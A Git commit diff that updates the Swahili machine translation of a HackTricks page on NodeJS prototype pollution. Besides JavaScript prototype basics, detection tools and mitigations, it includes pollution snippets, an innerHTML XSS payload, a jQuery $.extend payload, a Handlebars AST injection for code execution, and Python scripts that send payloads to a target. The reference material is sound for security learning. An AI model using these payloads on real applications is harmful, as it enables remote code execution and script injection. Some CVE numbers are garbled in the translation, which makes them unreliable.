2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-18 15:08:29 +00:00

Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

This commit is contained in:
Translator 2024-03-17 20:40:44 +00:00
parent cfceec139e
commit cc17c0d65d

View file

@ -1,31 +1,29 @@
# NodeJS - \_\_proto\_\_ & Uundaji wa Mfano
# NodeJS - \_\_proto\_\_ & Uharibifu wa Prototype
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Vitu katika JavaScript <a href="#053a" id="053a"></a>
## Vitu katika JavaScript <a href="#id-053a" id="id-053a"></a>
Vitu katika JavaScript ni mkusanyiko wa jozi za ufunguo-na-thamani, inayojulikana kama mali. Kifaa kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kifaa tupu. Njia hii inaruhusu uundaji wa kifaa bila mali zozote zilizorithiwa.
Vitu katika JavaScript ni msingi wa mkusanyo wa jozi za funguo-thamani, inayojulikana kama mali. Kipengele kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kutoa kipengele tupu. Njia hii inaruhusu uundaji wa kipengele bila mali zozote zilizorithiwa.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
```
Kitu kisicho na maudhui ni sawa na kamusi tupu, kinawakilishwa kama `{}`.
### Functions na Darasa katika JavaScript
### Kazi na Darasa katika JavaScript
Katika JavaScript, kazi na darasa zina uhusiano wa karibu, na kazi mara nyingi zikitumika kama wajenzi wa darasa. Ingawa JavaScript haina msaada wa asili wa darasa, wajenzi wanaweza kufanana na tabia ya darasa.
Katika JavaScript, darasa na kazi zina uhusiano wa karibu, na kazi mara nyingi zikitumika kama wajenzi wa darasa. Licha ya kutokuwepo kwa msaada wa darasa wa asili katika JavaScript, wajenzi wanaweza kujifanya kama tabia ya darasa.
```javascript
// Run this in the developers tools console
@ -43,37 +41,37 @@ var employee1 = new Employee("Generic Employee", "Developer");
employee1.__proto__
```
### Mifano katika JavaScript
### Vielezo katika JavaScript
JavaScript inaruhusu kubadilisha, kuongeza, au kufuta sifa za prototipi wakati wa utekelezaji. Uwezo huu unawezesha upanuzi wa kazi za darasa kwa njia ya kudumu.
JavaScript inaruhusu mabadiliko, uongezaji, au kufutwa kwa sifa za vielezo wakati wa uendeshaji. Uwezo huu unawezesha upanuzi wa kazi za darasa kwa njia ya kudumu.
Kazi kama `toString` na `valueOf` zinaweza kubadilishwa ili kubadilisha tabia zao, hii inaonyesha uwezo wa kubadilika wa mfumo wa prototipi wa JavaScript.
Kazi kama `toString` na `valueOf` zinaweza kubadilishwa ili kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa vielezo wa JavaScript.
## Urithi
Katika programu inayotegemea prototipi, mali/mbinu zinarithiwa na vitu kutoka kwa darasa. Darasa hizi hujengwa kwa kuongeza mali/mbinu kwa kielelezo kingine au kwa kielelezo tupu.
Katika programu inayotegemea vielezo, mali/majukumu huerithiwa na vitu kutoka kwa darasa. Darasa hizi huanzishwa kwa kuongeza mali/majukumu kwa kipengee kingine cha darasa au kwa kipengee tupu.
Inafaa kuzingatia kwamba wakati mali inapoongezwa kwa kielelezo kinachotumika kama prototipi kwa vitu vingine (kama `myPersonObj`), vitu vinavyorithi vitapata ufikiaji wa mali hii mpya. Hata hivyo, mali hii haionyeshwi moja kwa moja isipokuwa inaitwa wazi.
Ni muhimu kufahamu kwamba wakati mali inapoongezwa kwa kipengee kinachofanya kama vielezo kwa vitu vingine (kama `myPersonObj`), vitu vinavyorithi hupata ufikio wa mali hii mpya. Hata hivyo, mali hii haionyeshwi moja kwa moja isipokuwa itakapotwa wazi kwa kusudi.
## Uchafuzi wa \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
## Uchafuzi wa \_\_proto\_\_ <a href="#id-0d0a" id="id-0d0a"></a>
## Kuchunguza Uchafuzi wa Prototipi katika JavaScript
## Kuchunguza Uchafuzi wa Vielezo katika JavaScript
Vitu vya JavaScript vinafafanuliwa kwa njia ya jozi za funguo-na-thamani na vinarithi kutoka kwa kielelezo cha JavaScript Object. Hii inamaanisha kwamba kubadilisha kielelezo cha Object kunaweza kuathiri vitu vyote katika mazingira.
Vitu vya JavaScript vinafafanuliwa na jozi za funguo-na-thamani na huerithi kutoka kwa vielezo vya Vitu vya JavaScript. Hii inamaanisha kubadilisha vielezo vya Kipengee kunaweza kuathiri vitu vyote katika mazingira.
Tutatumia mfano tofauti kuonyesha hili:
Hebu tumie mfano tofauti kuonyesha:
```javascript
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
```
Upatikanaji wa kigezo cha Object niwezekanavyo kupitia:
Upatikanaji wa kifaa cha Object unawezekana kupitia:
```javascript
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
```
Kwa kuongeza mali kwa kigezo cha Object, kila kifaa cha JavaScript kitarithi mali hizi mpya:
Kwa kuongeza mali kwa kigezo cha Object, kila kigezo cha JavaScript kitarithi mali hizi mpya:
```javascript
function Vehicle(model) {
this.model = model;
@ -86,9 +84,9 @@ car1.announce(); // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true
```
## uchafuzi wa mfano
## uchafuzi wa prototype
Kwa hali ambapo matumizi ya `__proto__` yanazuiliwa, kubadilisha mfano wa kazi ni mbadala:
Kwa hali ambapo matumizi ya `__proto__` yanazuiliwa, kubadilisha kigezo cha kazi ni mbadala:
```javascript
function Vehicle(model) {
this.model = model;
@ -104,26 +102,26 @@ console.log(car1.hasWheels); // Outputs true
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;
```
Hii inaathiri vitu vilivyoundwa kutoka kwa kujenga kwa `Vehicle`, ikitoa mali za `beep`, `hasWheels`, `honk`, na `isElectric`.
Hii inaathiri vitu vilivyoundwa kutoka kwa konstrukta wa `Vehicle`, ikiongeza mali za `beep`, `hasWheels`, `honk`, na `isElectric`.
Njia mbili za kuathiri vitu vya JavaScript kwa njia ya uchafuzi wa kielelezo ni pamoja na:
Njia mbili za kuathiri vitu vya JavaScript kwa ujumla kupitia uchafuzi wa kigezo ni pamoja na:
1. Kuchafua moja kwa moja `Object.prototype`:
1. Kuchafua `Object.prototype` moja kwa moja:
```javascript
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
```
2. Kuchafua mfano wa kujenga kwa muundo unaotumiwa mara kwa mara:
2. Kuchafua prototype ya konstrukta kwa muundo unaotumiwa mara kwa mara:
```javascript
var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };
```
Baada ya hatua hizi, kila kitu cha JavaScript kinaweza kutekeleza njia za `goodbye` na `greet`.
Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza njia za `goodbye` na `greet`.
## Kuchafua vitu vingine
### Kutoka darasa hadi Object.prototype
Katika hali ambapo unaweza **kuchafua kitu maalum** na unahitaji **kufikia `Object.prototype`**, unaweza kutafuta kwa kutumia namna kama ifuatavyo:
Katika hali ambapo unaweza **kuchafua kitu maalum** na unahitaji **kufikia `Object.prototype`** unaweza kutafuta kwa kutumia kitu kama hiki:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -144,9 +142,9 @@ console.log(key1 + "." + key2)
}
}
```
### Uchafuzi wa Vipengele vya Mfumo wa Array
### Uchafuzi wa Elementi za Array
Tambua kwamba unaweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua mfumo wa array unaweza pia **kuchafua thamani za array** inayopatikana **kwa kutumia indeksi** (tambua kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua indeksi ambazo zinatumika kwa njia fulani lakini hazijaandikwa).
Tafadhali kumbuka kwamba unaweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia **kuchafua thamani za array** zinazopatikana **kwa kutumia indeksi** (kumbuka huwezi kubadilisha thamani, hivyo unahitaji kuchafua indeksi ambazo kwa namna fulani hutumiwa lakini hazijaandikwa).
```javascript
c = [1,2]
a = []
@ -158,7 +156,7 @@ c[1] // 2 -- not
```
### Uchafuzi wa vipengele vya Html
Wakati wa kuzalisha kipengele cha HTML kupitia JS, ni **inawezekana** **kubadilisha** sifa ya **`innerHTML`** ili kuandika **msimbo wa HTML usio na kikomo.** [Wazo na mfano kutoka kwenye chapisho hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Wakati wa kuzalisha kipengele cha HTML kupitia JS inawezekana **kubadilisha** sifa ya **`innerHTML`** ili iandike **msimbo wa HTML usio na mpangilio.** [Wazo na mfano kutoka kwenye andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
{% code overflow="wrap" %}
```javascript
@ -177,80 +175,83 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### Mfano wa Msingi
Uchafuzi wa kigezo unatokea kutokana na kasoro katika programu ambayo inaruhusu kuandika upya mali kwenye `Object.prototype`. Hii inamaanisha kwamba tangu vitu vingi vinapata mali zao kutoka `Object.prototype`
Uchafuzi wa prototype hutokea kutokana na kasoro katika programu inayoruhusu kuandika upya mali kwenye `Object.prototype`. Hii inamaanisha kwamba tangu vitu vingi vinavyopata mali zake kutoka kwa `Object.prototype`
Mfano rahisi ni kuongeza thamani kwa **mali isiyofafanuliwa ya kigezo** ambayo itakaguliwa, kama vile:
Mfano rahisi ni kuongeza thamani kwa **mali isiyowekwa wazi ya kitu** ambayo itachunguzwa, kama:
```javascript
if (user.admin) {
```
Ikiwa sifa **`admin` haijatangazwa**, inawezekana kutumia PP na kuweka kuwa Kweli kwa kutumia kitu kama:
Ikiwa sifa **`admin` haipo** inawezekana kutumia PP na kuweka kuwa Kweli kwa kitu kama:
```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Mfumo uliopo nyuma ya hii ni kwa kubadilisha mali ili ikiwa mshambuliaji ana udhibiti juu ya pembejeo fulani, wanaweza kubadilisha mfano wa vitu vyote katika programu. Udanganyifu huu kawaida unahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, inalingana na kubadilisha moja kwa moja mfano wa vitu.
Mbinu inayohusika ni kubadilisha mali ili ikiwa muhusika ana udhibiti wa baadhi ya pembejeo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Udanganyifu huu kawaida unahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, inalinganishwa na kubadilisha moja kwa moja prototype ya kitu.
Mazingira ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika [utafiti](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na:
Mazingira ambayo shambulio hili linaweza kutekelezwa kwa ufanisi, kama ilivyoelezwa katika [utafiti maalum](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), ni pamoja na:
- Kufanya muunganisho wa kurekursi.
- Kuweka mali kulingana na njia.
- Kuzaliana vitu.
* Kufanya mchanganyiko wa kurejea.
* Kutambua mali kulingana na njia.
* Kuiga vitu.
### Kubadilisha kazi
### Kigeuzi wa kazi
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Uchafuzi kwa RCE
### Uchafuzi wa Proto hadi RCE
{% content-ref url="prototype-pollution-to-rce.md" %}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %}
## Uchafuzi wa Prototype wa Upande wa Mteja kwa XSS
## Uchafuzi wa Proto wa upande wa Mteja hadi XSS
{% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
{% endcontent-ref %}
### CVE-201911358: Shambulio la uchafuzi wa Prototype kupitia jQuery $ .extend
### CVE-201911358: Shambulio la uchafuzi wa Proto kupitia jQuery $ .extend
[Kwa maelezo zaidi angalia makala hii](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
Katika jQuery, kazi ya `$ .extend` inaweza kusababisha uchafuzi wa prototype ikiwa kipengele cha nakala ya kina kinatumika vibaya. Kazi hii mara nyingi hutumiwa kwa kunakili vitu au kuunganisha mali kutoka kwa kitu cha msingi. Walakini, wakati inapowekwa vibaya, mali zilizokusudiwa kwa kitu kipya zinaweza kupewa kwa prototype badala yake. Kwa mfano:
[Kwa maelezo zaidi angalia makala hii](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Katika jQuery, kazi ya `$ .extend` inaweza kusababisha uchafuzi wa proto ikiwa kipengele cha kunakili kinafanyiwa kazi vibaya. Kazi hii mara nyingi hutumika kwa kunakili vitu au kuunganisha mali kutoka kwa kitu cha msingi. Walakini, wakati inapowekwa vibaya, mali zilizokusudiwa kwa kitu kipya zinaweza kupewa proto badala yake. Kwa mfano:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```
Mkato huu, uliojulikana kama CVE-2019-11358, unaonyesha jinsi nakala ya kina inaweza kubadilisha kwa bahati mbaya mfano, ikisababisha hatari za usalama, kama ufikiaji usiothibitishwa wa admin ikiwa mali kama `isAdmin` zinathibitishwa bila uthibitisho sahihi wa uwepo.
Hii udhaifu, uliojulikana kama CVE-201911358, inaonyesha jinsi nakala ya kina inaweza kubadilisha kwa bahati nasibu kigezo cha msingi, ikisababisha hatari za usalama, kama upatikanaji usioidhinishwa wa admin ikiwa mali kama `isAdmin` zinachunguzwa bila uthibitisho sahihi wa uwepo.
### CVE-2018-3721, CVE-2019-10744: Shambulio la uchafuzi wa mfano kupitia lodash
### CVE-20183721, CVE-201910744: Shambulio la uchafuzi wa kigezo kupitia lodash
[Kwa maelezo zaidi angalia makala hii](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) ilikumbana na udhaifu sawa wa uchafuzi wa mfano (CVE-2018-3721, CVE-2019-10744). Masuala haya yalitatuliwa katika toleo 4.17.11.
[Lodash](https://www.npmjs.com/package/lodash) ilikumbana na udhaifu sawa wa uchafuzi wa kigezo (CVE-20183721, CVE-201910744). Masuala haya yalitatuliwa katika toleo la 4.17.11.
### Mafunzo mengine na CVEs
### Mafunzo mengine yenye CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Uchafuzi wa Mfano wa AST katika NodeJS
### Zana za kugundua Uchafuzi wa Kigezo
NodeJS inatumia sana Miti ya Muhtasari ya Kifungu (AST) katika JavaScript kwa kazi kama injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa mfano katika injini za templeti, haswa Handlebars na Pug.
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kifaa cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa kigezo upande wa seva katika maombi ya wavuti. Zana hii inasogeza mchakato wa kutambua maombi ili kutambua masuala ya uchafuzi wa kigezo yanayowezekana. Inatumia vifaa vilivyothibitishwa - njia za kutumia uchafuzi wa kigezo kutekeleza vitendo vichafu - ikilenga hasa maktaba za Node.js.
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Kifaa hiki kinatambua udhaifu wa uchafuzi wa kigezo upande wa seva. Hutumia mbinu zilizoelezwa katika [uchafuzi wa kigezo upande wa seva](https://portswigger.net/research/server-side-prototype-pollution).
### Uchafuzi wa Kigezo wa AST katika NodeJS
NodeJS inatumia sana Miti za Sintaksia za Kielelezo (AST) katika JavaScript kwa kazi kama injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa kigezo katika injini za templeti, hasa Handlebars na Pug.
#### Uchambuzi wa Udhaifu wa Handlebars
Injini ya templeti ya Handlebars inaweza kushambuliwa na uchafuzi wa mfano. Udhaifu huu unatokea kutokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kwa mfano, kazi ya `appendContent` inaunganisha `pendingContent` ikiwepo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
Injini ya templeti ya Handlebars inaweza kushambuliwa na shambulio la uchafuzi wa kigezo. Udhaifu huu unatokea kutokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kwa mfano, kazi ya `appendContent` inaunganisha `pendingContent` ikiwepo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
##### Mchakato wa Ushambulizi
**Mchakato wa Uchexploataji**
Ushambulizi unatumia Mti wa Muhtasari wa Kifungu (AST) uliotengenezwa na Handlebars, ukifuata hatua hizi:
Uchexploataji unatumia Mti wa Sintaksia wa Kielelezo (AST) uliotengenezwa na Handlebars, ukifuata hatua hizi:
1. **Ubadilishaji wa Parser**: Kwanza, parser, kupitia kipengele cha `NumberLiteral`, inahakikisha kuwa thamani ni nambari. Uchafuzi wa mfano unaweza kuzunguka hii, kuruhusu uingizaji wa herufi zisizo za nambari.
2. **Kushughulikiwa na Compiler**: Compiler inaweza kusindika Kifungu cha AST au templeti ya herufi. Ikiwa `input.type` inalingana na `Program`, kuingia kunachukuliwa kama tayari imechambuliwa, ambayo inaweza kushambuliwa.
3. **Uingizaji wa Kanuni**: Kwa kubadilisha `Object.prototype`, mtu anaweza kuingiza kanuni isiyo na kikomo kwenye kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa kanuni kwa mbali.
1. **Udanganyifu wa Parser**: Kwanza, parser, kupitia kifaa cha `NumberLiteral`, inahakikisha kuwa thamani ni za nambari. Uchafuzi wa kigezo unaweza kuzunguka hili, kuruhusu kuingiza herufi zisizo za nambari.
2. **Kushughulikiwa na Compiler**: Compiler inaweza kusindika Kielelezo cha AST au templeti ya herufi. Ikiwa `input.type` inalingana na `Program`, kuingizwa kwa awali kunaweza kutumika.
3. **Kuingiza wa Kanuni**: Kupitia udanganyifu wa `Object.prototype`, mtu anaweza kuingiza kanuni za kupindukia kwenye kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa kanuni za mbali.
Mfano unaodhihirisha ushambulizi wa udhaifu wa Handlebars:
Mfano unaoonyesha uchexploataji wa udhaifu wa Handlebars:
```javascript
const Handlebars = require('handlebars');
@ -273,13 +274,13 @@ const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
```
Msimbo huu unaonyesha jinsi mshambuliaji anaweza kuingiza msimbo usio na kikomo katika kigezo cha Handlebars.
Msimbo huu unaonyesha jinsi mshambuliaji anaweza kuingiza msimbo wa kupendelea katika kigezo cha Handlebars.
**Marejeleo ya Nje**: Tatizo linalohusiana na uchafuzi wa mfano uligunduliwa katika maktaba ya 'flat', kama ilivyoelezwa hapa: [Tatizo kwenye GitHub](https://github.com/hughsk/flat/issues/105).
**Marejeleo ya Nje**: Shida inayohusiana na uchafuzi wa prototype iligunduliwa katika maktaba ya 'flat', kama ilivyoelezwa hapa: [Shida kwenye GitHub](https://github.com/hughsk/flat/issues/105).
**Marejeleo ya Nje**: [Tatizo linalohusiana na uchafuzi wa mfano katika maktaba ya 'flat'](https://github.com/hughsk/flat/issues/105)
**Marejeleo ya Nje**: [Shida inayohusiana na uchafuzi wa prototype katika maktaba ya 'flat'](https://github.com/hughsk/flat/issues/105)
Mfano wa uchexploit wa uchafuzi wa mfano katika Python:
Mfano wa shambulio la uchafuzi wa prototype katika Python:
```python
import requests
@ -305,9 +306,9 @@ requests.post(TARGET_URL + '/vulnerable', json = {
# execute
requests.get(TARGET_URL)
```
#### Pug Udhaifu
#### Tofauti ya Pug
Pug, injini nyingine ya templeti, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Maelezo ya kina yanapatikana katika mjadala juu ya [AST Injection katika Pug](https://blog.p6.is/AST-Injection/#Pug).
Pug, injini nyingine ya templeti, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Maelezo ya kina yanapatikana katika mjadala kuhusu [Uingizaji wa AST katika Pug](https://blog.p6.is/AST-Injection/#Pug).
Mfano wa uchafuzi wa prototype katika Pug:
```python
@ -328,19 +329,19 @@ requests.get(TARGET_URL)
```
### Hatua za Kuzuia
Ili kupunguza hatari ya uchafuzi wa protini, mikakati iliyoorodheshwa hapa chini inaweza kutumika:
Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chini inaweza kutumika:
1. **Usiobadilika wa Vitu**: `Object.prototype` inaweza kufanywa isiyo na mabadiliko kwa kutumia `Object.freeze`.
2. **Uthibitishaji wa Kuingia**: Kuingia kwa JSON inapaswa kuthibitishwa kwa uangalifu dhidi ya muundo wa programu.
3. **Kazi Salama za Kuchanganya**: Matumizi hatari ya kazi za kuchanganya za kurudia lazima yepukwe.
4. **Vitu Visivyo na Protini**: Vitu bila mali za protini vinaweza kuundwa kwa kutumia `Object.create(null)`.
5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kuhifadhi jozi za funguo-na-thamani.
6. **Visasisho vya Maktaba**: Maboresho ya usalama yanaweza kuingizwa kwa kusasisha mara kwa mara maktaba.
7. **Zana za Linter na Uchambuzi Statis**: Tumia zana kama ESLint na programu-jalizi sahihi kugundua na kuzuia udhaifu wa uchafuzi wa protini.
8. **Mapitio ya Kanuni**: Tekeleza mapitio kamili ya kanuni ili kutambua na kurekebisha hatari za uwezekano zinazohusiana na uchafuzi wa protini.
9. **Mafunzo ya Usalama**: Elimisha watengenezaji kuhusu hatari za uchafuzi wa protini na mazoea bora ya kuandika kanuni salama.
10. **Matumizi ya Maktaba kwa Tahadhari**: Kuwa mwangalifu wakati wa kutumia maktaba za watu wa tatu. Tathmini hali yao ya usalama na ukague kanuni yao, haswa zile zinazobadilisha vitu.
11. **Ulinzi wa Wakati wa Uendeshaji**: Tumia mbinu za ulinzi wa wakati wa uendeshaji kama kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa protini.
1. **Usiobadilika wa Vitu**: `Object.prototype` inaweza kufanywa isiyo badilika kwa kutumia `Object.freeze`.
2. **Uthibitishaji wa Kuingia**: Vipimo vya JSON vinapaswa kuthibitishwa kwa uangalifu dhidi ya muundo wa programu.
3. **Vitu Salama vya Kufunga**: Matumizi hatari ya kazi za kufunga za kurudia zinapaswa kuepukwa.
4. **Vitu Bila Prototype**: Vitu bila mali za prototype zinaweza kuundwa kwa kutumia `Object.create(null)`.
5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kuhifadhi jozi za funguo-malipo.
6. **Sasisho za Maktaba**: Visasisho vya usalama vinaweza kujumuishwa kwa kusasisha mara kwa mara maktaba.
7. **Zana za Linter na Uchambuzi Stahiki wa Stati**: Tumia zana kama ESLint na programu-jalizi sahihi kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
8. **Mapitio ya Msimbo**: Tekeleza mapitio ya msimbo makini kugundua na kurekebisha hatari za uchafuzi wa prototype.
9. **Mafunzo ya Usalama**: Elimisha watengenezaji kuhusu hatari za uchafuzi wa prototype na mazoea bora ya kuandika msimbo salama.
10. **Matumizi ya Maktaba kwa Tahadhari**: Kuwa mwangalifu wakati wa kutumia maktaba za watu wa tatu. Thathmini msimamo wao wa usalama na pitia msimbo wao, hasa wale wanaobadilisha vitu.
11. **Kinga ya Wakati wa Uendeshaji**: Tumia mbinu za kinga za wakati wa uendeshaji kama kutumia pakiti za npm zilizolenga usalama ambazo zinaweza kugundua na kuzuia mashambulio ya uchafuzi wa prototype.
## Marejeo
@ -351,14 +352,14 @@ Ili kupunguza hatari ya uchafuzi wa protini, mikakati iliyoorodheshwa hapa chini
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inayotangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>